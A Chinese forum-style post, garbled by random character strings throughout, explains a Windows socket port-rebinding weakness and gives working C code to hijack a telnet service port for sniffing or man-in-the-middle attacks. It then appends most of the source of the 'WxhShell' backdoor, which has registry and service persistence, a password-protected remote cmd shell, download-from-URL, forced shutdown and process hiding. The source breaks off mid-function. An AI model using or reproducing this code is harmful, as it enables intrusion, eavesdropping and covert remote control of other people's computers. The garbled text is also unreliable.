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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1vJj?Uqc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z=a~0&G g!cW`B' saddr.sin_family = AF_INET; T&Z*=ShH d(KK7SQg saddr.sin_addr.s_addr = htonl(INADDR_ANY); g{K \ m )r, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j;-2)ZLm ]U}B~Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KUHkjA_ Gj[5ew?@ 这意味着什么?意味着可以进行如下的攻击: |nqN95'u+] 4.~ <|T8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3'SN0VL ph%t
#R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M.EL^;r nD!t*P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [b~+VeP+p4 8cURYg6v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]A1'+!1$ ~I~lb/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F9A5}/\ =&DuQvN, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DH4IF i> s; sr(34
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^_W] @m2 j^h:*rw #include J'k^(ZZ #include 82 o|(pw #include sN MF(TY #include -e0?1.A$ DWORD WINAPI ClientThread(LPVOID lpParam); WKwYSbs( int main() 3|EAOoWnK { h&~9?B WORD wVersionRequested; 2~V"[26t DWORD ret; \zOsq5} WSADATA wsaData; k(@W
z>aCv BOOL val; ' hdLQ\J SOCKADDR_IN saddr; g*w}m>O SOCKADDR_IN scaddr; :dxKcg7 int err; OAgZeK$ SOCKET s; )XoMOz SOCKET sc; k3]qpWKj int caddsize; *V[I&dKq HANDLE mt; z>'vS+axV DWORD tid; Fw#1?/K~ wVersionRequested = MAKEWORD( 2, 2 ); DV)NY! err = WSAStartup( wVersionRequested, &wsaData ); 8~BLTZ if ( err != 0 ) { |A+,M"F? printf("error!WSAStartup failed!\n"); i8f +woZL return -1; bh3yH>Zns } 4RH>i+)pS\ saddr.sin_family = AF_INET; 5s>>]
.% TFzk5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~c*kS E2X T#vY(d saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Rv.IHSQUo saddr.sin_port = htons(23); 6l2Os
$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u}rJqZ { NH*"AE; printf("error!socket failed!\n"); ;3%Y@FS@ return -1; UVW4KUxR } O:imX>|u val = TRUE; a^Q
?K\c4N //SO_REUSEADDR选项就是可以实现端口重绑定的 .*z$vl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :%+9y @% { V=YDqof printf("error!setsockopt failed!\n"); $)KNp dXh return -1; SA%)xGRW } 9 aK U}y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '+c@U~d*7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lAo4) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y3-f68*( [/<kPi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <)Y jVGG { <Ynrw4[)t ret=GetLastError(); A.RG8" printf("error!bind failed!\n"); `\/\C[Gg return -1; $FZcvo3@*S } pOhjq#} listen(s,2); ^/xb-tuV while(1) `B$Pk0>5r { C 7YS>?^] caddsize = sizeof(scaddr); |qU~({=b //接受连接请求 R0bgt2J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FL&L$#X if(sc!=INVALID_SOCKET) 'QTa<Z)E { ~(=5`9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1qp"D_h if(mt==NULL) J*AYZS-tSE { E!>MJlA:k6 printf("Thread Creat Failed!\n"); \!%~(FM break; %MEWw } ?30pNF| } ,D&-.`'E CloseHandle(mt); _SH~.Mt_! } 7h>, closesocket(s); Zlygx WSACleanup(); L=WKqRa>4 return 0; >X5RRSo } Kk|)N3AV: DWORD WINAPI ClientThread(LPVOID lpParam) &2n5m& { u(PUbxJ
V SOCKET ss = (SOCKET)lpParam; $bN_0s0:' SOCKET sc; :?>yi7w unsigned char buf[4096]; $+,kibk*R SOCKADDR_IN saddr; M-e|$'4u long num; Z4m+GFY DWORD val; =c%gV]>G DWORD ret; #RKd>ig% //如果是隐藏端口应用的话,可以在此处加一些判断 _<l)4A3rS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 o
WAy[ saddr.sin_family = AF_INET; FtDF} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2tQ?=V(Di saddr.sin_port = htons(23); ^Cj3\G4, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9V;A+d, { Or55_E printf("error!socket failed!\n"); E5a7p. return -1; L[U?{ } hZ')<@hNP val = 100; pr1kYMrqri if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \FnR'ne { nj-LG!"a ret = GetLastError(); 1KjzKFnb return -1; $J0o%9K
} Pjq()\/[Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UMHFq- { b=SCyGxlZ5 ret = GetLastError(); Zm+GH^f' return -1; o)'06FF\$ } 7Jpq7; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JM53sx4& { <L2z| %` printf("error!socket connect failed!\n"); c<{~j~+ closesocket(sc); cs[nFfM closesocket(ss); *q@3yB} return -1; $8Z4jo } S7@/dHN while(1) R_vK^Da { oq,*@5xV2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &gI*[5v
//如果是嗅探内容的话,可以再此处进行内容分析和记录 MVEh<_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X9C:AGbp num = recv(ss,buf,4096,0); y!|4]/G]?t if(num>0) +=*ND<$n/E send(sc,buf,num,0); //bQD>NBO else if(num==0) Fw^^sB break; R''2o_F6 num = recv(sc,buf,4096,0); )r(e\_n if(num>0) s~c cx"HH send(ss,buf,num,0); KbH|'/w else if(num==0) -67!u; break; 3@1$y`SN } X<f4X"y closesocket(ss); dki3( closesocket(sc); n} ]gAX return 0 ; t$lJgj(
} 3(:?Z-iKe g+xcKfN{ $-
Y8@bw ========================================================== X G5"u 7UUu1"|a| 下边附上一个代码,,WXhSHELL \vuWypo .s|5AC[ ========================================================== q77Iq0VR Pu'lp
O #include "stdafx.h" 6H0aHCM :J+ANIRI #include <stdio.h> ; NO#/ #include <string.h> H)rJ>L #include <windows.h> :]LW,Eql #include <winsock2.h> HaF&ooI5+ #include <winsvc.h> !lp7}[k<y #include <urlmon.h> q35=_'\W @[Wf!8_ #pragma comment (lib, "Ws2_32.lib") INR RA #pragma comment (lib, "urlmon.lib") hK3Twzte
8L`wib2 #define MAX_USER 100 // 最大客户端连接数 YI]/gWeu #define BUF_SOCK 200 // sock buffer xJOp~fKG #define KEY_BUFF 255 // 输入 buffer |{rhks~ 9MbF: #define REBOOT 0 // 重启 fS%B/h= #define SHUTDOWN 1 // 关机 "Q{7X[$$^ u=0161g #define DEF_PORT 5000 // 监听端口 ~$1g"jIw 8mO_dQ #define REG_LEN 16 // 注册表键长度 c#@L~< #define SVC_LEN 80 // NT服务名长度 \t? ;p-+ta !HXyvyDN // 从dll定义API -1ci.4F& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IcNZUZGE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _&]Gw, ~/i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;h#Q!M&e# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vJ;0%;eu[! }hXmK.[' // wxhshell配置信息 G+m[W struct WSCFG { VY@`) int ws_port; // 监听端口 m=w #l>! char ws_passstr[REG_LEN]; // 口令 'a~F'FN$ int ws_autoins; // 安装标记, 1=yes 0=no =~q$k char ws_regname[REG_LEN]; // 注册表键名
`Y,Rk char ws_svcname[REG_LEN]; // 服务名 NYR:dH]N~d char ws_svcdisp[SVC_LEN]; // 服务显示名 ~b[5}_L=> char ws_svcdesc[SVC_LEN]; // 服务描述信息 hl8oE5MU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =n;LP#(h ? int ws_downexe; // 下载执行标记, 1=yes 0=no $4]4G=o char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" xg;F};}5$
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \^lDd~MWG 8boiJku` }; rgEN~e' -JclEp // default Wxhshell configuration uY3?(f# struct WSCFG wscfg={DEF_PORT, sjHcq5#U! "xuhuanlingzhe", Q0L1!}w
1, UAC"jy1D "Wxhshell", I1p{(fJ "Wxhshell", /KlSI<T@ "WxhShell Service", )1<GSr9 "Wrsky Windows CmdShell Service", oF s)UR "Please Input Your Password: ", xzf/W+.>. 1, _znpzr9H " http://www.wrsky.com/wxhshell.exe", e_FoNT "Wxhshell.exe" 41+@!`z7 };
2l~qzT- pQ8f$I#v // 消息定义模块 =
jTC+0u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -8SZ}J char *msg_ws_prompt="\n\r? for help\n\r#>"; l?HC-_Pbh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; u!McPM8Yk char *msg_ws_ext="\n\rExit."; <JW%h :\t char *msg_ws_end="\n\rQuit."; 7&Ie3[Rm_3 char *msg_ws_boot="\n\rReboot..."; V@`%k]k char *msg_ws_poff="\n\rShutdown..."; |#B)`r8 char *msg_ws_down="\n\rSave to "; $7p0<<Nck *(sv5c!0M8 char *msg_ws_err="\n\rErr!"; ^j1iCL! char *msg_ws_ok="\n\rOK!"; P R_|
8H| ^>z+e"PQA char ExeFile[MAX_PATH]; ;Ji3|=4u int nUser = 0; ?VyiR40-Cx HANDLE handles[MAX_USER]; T5_rPz int OsIsNt; _t6.9CXl rt\.|Hr4s SERVICE_STATUS serviceStatus; +0:]KG!Zs. SERVICE_STATUS_HANDLE hServiceStatusHandle; c >xHaA:V BD mF+ // 函数声明 =!($=9 int Install(void); {=+'3p int Uninstall(void); gi8f)MNP?~ int DownloadFile(char *sURL, SOCKET wsh); f;bfR&v int Boot(int flag); 5+/XO>P1m| void HideProc(void); #_: %Yd int GetOsVer(void); A!a.,{fZ int Wxhshell(SOCKET wsl); Xzqx8Kd void TalkWithClient(void *cs); +,eF(VS! int CmdShell(SOCKET sock); 8P}
a int StartFromService(void); RuOse9 int StartWxhshell(LPSTR lpCmdLine); <"7Wb"+ x,
'KI?TyQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |doG}C VOID WINAPI NTServiceHandler( DWORD fdwControl ); 35fj-J$8 2>xEE // 数据结构和表定义 Qgq VbJP" SERVICE_TABLE_ENTRY DispatchTable[] = |sAl k,8s { ,F=FM>o {wscfg.ws_svcname, NTServiceMain}, X6r3$2! {NULL, NULL} zSBR_N51 }; F 2Mxcs*M 3WPZZN<K9 // 自我安装 /WI H#M int Install(void) t1!>EI` { /7WdG)' char svExeFile[MAX_PATH]; `_3Gb HKEY key; @\U] hN? strcpy(svExeFile,ExeFile); $WsyAUl 3k:`7E. // 如果是win9x系统,修改注册表设为自启动 1#|qT7 if(!OsIsNt) { W O'nW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'lOpoWDL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c']m5q39' RegCloseKey(key); :{aiw?1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +O7GgySx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <#)Q.P RegCloseKey(key); g!`^!Q/($ return 0; sLc,Dx"+ } $IJ"fs } v
`;Hd8 } H^jcWwy: else { Lv>O BHD h~ehZJys // 如果是NT以上系统,安装为系统服务 ].@8/. rg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); </2Cn@ if (schSCManager!=0) /LLo7" { q( %)^C SC_HANDLE schService = CreateService
L$@qEsO ( c7]0>nU; schSCManager, 9x#Tj/5% wscfg.ws_svcname, ?:+p#&I wscfg.ws_svcdisp, Am >b 7Z! SERVICE_ALL_ACCESS, {gB9EGY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]#W9l\ SERVICE_AUTO_START, 6U1_Wk? SERVICE_ERROR_NORMAL, &3\3wcZ,q svExeFile, ~eXI}KhBw6 NULL, $?DEO[p. NULL, :b,An'H NULL, n/%M9osF NULL, )hD77(c NULL D_BdvWSxj ); _CizU0S if (schService!=0) U XOf { %kuUQ%W1 CloseServiceHandle(schService); +)_#j/ CloseServiceHandle(schSCManager); jPs{Mr< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6h1pPx7zU strcat(svExeFile,wscfg.ws_svcname); 5
axt\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]<u%jTQREd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x.'Ys1M RegCloseKey(key); 9T<k|b[6 return 0; "71Y{WQ } EnEaUb?P } <=%G%V_s CloseServiceHandle(schSCManager); LKg9{0Y: } U[hokwZ }
k|cP]p4, -2Dgr\M return 1; N({-&A.N } X*`b}^T 6Z;D`X,5 // 自我卸载 hSaw)g`w int Uninstall(void) CJ6v S { %U9f`qE HKEY key; Y0ACJ?| l7(p~+o?h> if(!OsIsNt) { QiNLE'19^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S"@@BQ#mf RegDeleteValue(key,wscfg.ws_regname); &Zo+F]3d RegCloseKey(key); D 75;Y;E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 03!#99 RegDeleteValue(key,wscfg.ws_regname); E4<#6q RegCloseKey(key); !4$-.L)# return 0; ]!2[k A- } 4Dasj8GsV } pJ/{X=y } +ux`}L( else { u`pw'3hY [+qB^6I+P% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rfV{+^T; if (schSCManager!=0) B+2.:Zn6 { ,W>-MPJn[8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G~/*!?&z if (schService!=0) 1{G@'#( { (Vt5@25JW if(DeleteService(schService)!=0) { %:7/ym[ CloseServiceHandle(schService); jV#1d8qm CloseServiceHandle(schSCManager); WP PDvB return 0; /`7G 7pQ+ } M%5_~g2n'\ CloseServiceHandle(schService); M[L@ej } 8]WcW/1r ! CloseServiceHandle(schSCManager); s 4n<k]d } i1!Y{ }
&0OH:P% o}yA{<" return 1; |oR#j
` } vhN6_XD .GvZv> // 从指定url下载文件 e<"sZK int DownloadFile(char *sURL, SOCKET wsh) 3(1UIu { 4hW:c0 HRESULT hr; y .a)M?3 char seps[]= "/"; W 2A!BaH% char *token; 5?TX.h9B4 char *file; )9+H[ char myURL[MAX_PATH]; G_xql_QR char myFILE[MAX_PATH]; H`7T;`Yb UFeQ%oRa8 strcpy(myURL,sURL); 0kaMYV? token=strtok(myURL,seps); ^j<2s"S while(token!=NULL) H:o=gP60] { M+7jJ?n file=token; kMg[YQ]OC token=strtok(NULL,seps); avUdvV- } `-5gsJ
35YDP|XZb GetCurrentDirectory(MAX_PATH,myFILE); @ZtvpL}e strcat(myFILE, "\\");
TrBtTqH) strcat(myFILE, file); }1NNXxQ send(wsh,myFILE,strlen(myFILE),0); ;>Z0e`= send(wsh,"...",3,0); vH6.;j'^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TU9$5l/;g if(hr==S_OK) ;B;wU.Y" return 0; ?*cCn-| else `r0MQkk return 1; T!>sL=uf r`PD}6\ } +aOX{1w 3*oZol/ // 系统电源模块 "}:SXAZ5` int Boot(int flag) :PBW=W { m2Wi "X(I_ HANDLE hToken; J?f7!F:8 TOKEN_PRIVILEGES tkp; :v^Od W e)|5P if(OsIsNt) {
mEbj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'NDr$Qc3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D*ZswHT{y tkp.PrivilegeCount = 1; KqXPxp^_Al tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aQ0pYk~( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?qbq\t if(flag==REBOOT) { ;6*$!^*w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ne=CN!= return 0; Bu4@FIK!C } A#]78lR else { Xkf|^-n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [vxHsY3z return 0; ubl)$jZ:Q } P -X2A2 } ^NO4T else { 2W;2._ if(flag==REBOOT) { B9]bv] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _BG7JvI return 0; %t]{C06w+{ } p-,Bq!aG$ else { *Z3b6X'e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /$|-!e<5b\ return 0; o>HGfr,N } |q
Pu*vR } jH37{S- eCG{KCM~_Z return 1; mnU8i=v0A } p+${_w>pl{ '>t'U?7w< // win9x进程隐藏模块 5`q#~fJ2 void HideProc(void) 1?,C d { p,7?rI\N ~\ v"xV HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -a7BVEFts if ( hKernel != NULL ) d5n>2iO { lF\2a&YRbn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S(_DR8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EEiWIf&S, FreeLibrary(hKernel); DDZnNSo<JQ } &a'LOq+r' ,vuC0{C^ return; j k&\{ } @I?:x4 HP:[aR!2P // 获取操作系统版本 AL|3_+G int GetOsVer(void) D{JwZL@7k2 { $5>m\wrl OSVERSIONINFO winfo; f0*_& rP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =:\5* GetVersionEx(&winfo); SA?1*dw) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =D)ADZ\<r return 1; T2|os{U else T/jxsIt3 return 0; y8dOx=c } KIY9?B=+ o 9d|XY_ // 客户端句柄模块 ~iq=J5IN# int Wxhshell(SOCKET wsl) DkW^gt { _.SpU`>/f SOCKET wsh; [<nd+3E struct sockaddr_in client; )-25?B DWORD myID; BqtN= p:3w8#)MZ while(nUser<MAX_USER) wcGv#J], { n/YnISt int nSize=sizeof(client); GZm=>!T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jv!f6*&< if(wsh==INVALID_SOCKET) return 1; Y[W]YPs IH.EvierJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f,ql8q(|J if(handles[nUser]==0) nI8zT0o closesocket(wsh); 1D%E})B6 else EBpg nUser++; HstL'{&,-m } h;~NA}> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1G'pT$5& co'qVsOiH return 0; :N' } ;s#]."v_= (N5"'`NZA // 关闭 socket V6'k\5| _ void CloseIt(SOCKET wsh) 15MKV=?oY { \!*F:v0g^ closesocket(wsh);
&%T*sR nUser--; juxAyds ExitThread(0); cG4}daK]d } BRv#` CjJ n // 客户端请求句柄 xM/WS':V void TalkWithClient(void *cs) P1<McQ { c)c_Qv z2q!_ ~ SOCKET wsh=(SOCKET)cs; kH=qJ3Z char pwd[SVC_LEN]; /9| 2uw` char cmd[KEY_BUFF]; _S CY e char chr[1]; #;UoZJ B int i,j; WN o+% &iT^IkA{ while (nUser < MAX_USER) { &uI33= ER:K^
Za if(wscfg.ws_passstr) { (U:6vk3Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >E
WK
cocM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3M>y.MS //ZeroMemory(pwd,KEY_BUFF); milQxSpj i=0; 1/SB[[ g while(i<SVC_LEN) { GE\({V.W %h
v-3L#V // 设置超时 b(> G fd_set FdRead; 'Z nJdj struct timeval TimeOut; etk|%%J FD_ZERO(&FdRead); oUB9)C~ FD_SET(wsh,&FdRead); mFE7#OM TimeOut.tv_sec=8; >"Zn#
FY TimeOut.tv_usec=0; {_ZbPPh;M" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nFwdW@E9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =.,XJIw& :)Da^V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Me^L%%:@ pwd =chr[0]; WL3J>S_ if(chr[0]==0xd || chr[0]==0xa) { Y>K8^GS pwd=0; nyOvB#f break; !RN9wXS7 } o@YEd d i++; r$%,k*X^
k } mOFp!( 2t7=GA+j // 如果是非法用户,关闭 socket [ *
!0DW` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <<H'Z } H-8_&E?6m Htep3Ol3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1h`# H: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fm Fs
.L^F4 while(1) { Hq,znRz~` ;9qwB ZeroMemory(cmd,KEY_BUFF); !0cb f&^: xww\L
&y // 自动支持客户端 telnet标准 OGW0lnQ/ j=0; u2*."W\ while(j<KEY_BUFF) { $C8s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q2M%AvR cmd[j]=chr[0]; N]G`] if(chr[0]==0xa || chr[0]==0xd) { .G|U#%"6x cmd[j]=0; o^u}(wZ{ break; =E&1e;_xlE } e(9K.3@{ j++; e{.P2rnh } xP 3>8Y SnoEi~Da // 下载文件 -U@ycx|r if(strstr(cmd,"http://")) { UiZ1$d* send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?y^ ix+M if(DownloadFile(cmd,wsh)) IOl0=+p send(wsh,msg_ws_err,strlen(msg_ws_err),0); f1t?<=3Ek< else pH0MVu(W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v&` n}lS } ^{-Z3Yxd else { &p=(0$0&- +lJD7=%K]Z switch(cmd[0]) { DMT2~mh 5gwEr170 // 帮助 ) 3I|6iS case '?': { YV6w}b: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
kb'l@d#E break; D
\boF+^ } dkZ[~hEQG- // 安装 Rtai? case 'i': { }$:ha> if(Install()) EtDzmpJR> send(wsh,msg_ws_err,strlen(msg_ws_err),0); O! w&3 p else ?$b*)< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qa1G0qMEIF break; Vje LPbk) } &lW~ot1, // 卸载 7Y^2JlZu= case 'r': { 'zuA3$SR if(Uninstall()) dV"Kx send(wsh,msg_ws_err,strlen(msg_ws_err),0); &I/C^/F& else i.+#a2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >
!WFY break; 3
FLht
L } 2O`s'&.h // 显示 wxhshell 所在路径 ;zi4W1 case 'p': { OPDRV\ char svExeFile[MAX_PATH]; "9;Ay@'B strcpy(svExeFile,"\n\r"); vFK(Dx strcat(svExeFile,ExeFile); SuA`F|7?P send(wsh,svExeFile,strlen(svExeFile),0); Gdlx0i break; r
D|Bj(X8 } AaJz3oncJ // 重启 OWmI$_L case 'b': { $PTl{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =`wnng5m if(Boot(REBOOT)) \Qz send(wsh,msg_ws_err,strlen(msg_ws_err),0); s?&UFyYb, else { <2PO3w?Z closesocket(wsh); C6:;
T% ExitThread(0); ra{HlB{ } >orDw3xC break; {^Q1b.= } >8DZj&j // 关机 AHTQF#U^ case 'd': { 200Fd8Ju send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PJ'@! jx if(Boot(SHUTDOWN)) 0,m@BsK send(wsh,msg_ws_err,strlen(msg_ws_err),0); AkBEE else { Tc;j)_C) closesocket(wsh); G88g@Exk ExitThread(0); 2tdr1+U?g } AO0aOX8_+D break; tR-rW)0K3Q } =bb )B( // 获取shell Fx@@.O6 case 's': { t8S,C4 CmdShell(wsh); S d]`) closesocket(wsh); }U$p[Gi< ExitThread(0); 8MCSU'uQ break; OyTp^W`& } <{A |Xs // 退出 UC?i>HsJrX case 'x': { (k>I!Z/&2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M!]g36h[ CloseIt(wsh); U("m}^ break; |?<r } EP]O J$6I // 离开 l1}HJmom case 'q': { o%?~9rf]] send(wsh,msg_ws_end,strlen(msg_ws_end),0); M\be a closesocket(wsh); 8f-B-e?k WSACleanup(); RQd5Q. exit(1); ~@EBW3>~5 break; Rs1JCP=d8 } "\x\P)j0> } 2]-xmS>|b } `Z~\&r= JJE0q5[ // 提示信息 *qL"&h5W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w_^g-P[o- } !$.h[z^ } e{`DvfY21 v/}hy$7 return; C-L[" O0[ } M9dUo7 MNsgD3 // shell模块句柄 /mFa*~dj2 int CmdShell(SOCKET sock) g+92}$_ { vhu5w#]u* STARTUPINFO si; :X~{,J ZeroMemory(&si,sizeof(si)); )x&OdFX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1N\-Ku si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9N{"ob
Z PROCESS_INFORMATION ProcessInfo; *61G<I char cmdline[]="cmd"; a gxR
V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )l*6zn`z return 0; YNWAef4 } EXTQ:HSES FVS@z5A8<= // 自身启动模式 D}:M0EBS int StartFromService(void) nV+]jQ~o { _.$g ?E/( typedef struct @;H1s4OZ { P
:D6w){ DWORD ExitStatus; 5nJmabw3 DWORD PebBaseAddress; XKT2u!Lx DWORD AffinityMask; L#NW<T DWORD BasePriority; X| X~|&j ULONG UniqueProcessId; vd!|k5t[d ULONG InheritedFromUniqueProcessId; $Xr9<)?, } PROCESS_BASIC_INFORMATION; 0`l(c 'CO3b, PROCNTQSIP NtQueryInformationProcess; k=qb YGK %.;`0}b static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K=X13As_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NKS-G2Y<P ^J$?[@qD HANDLE hProcess; q<*UeyE
S PROCESS_BASIC_INFORMATION pbi; \hT=U*dMR # ~T
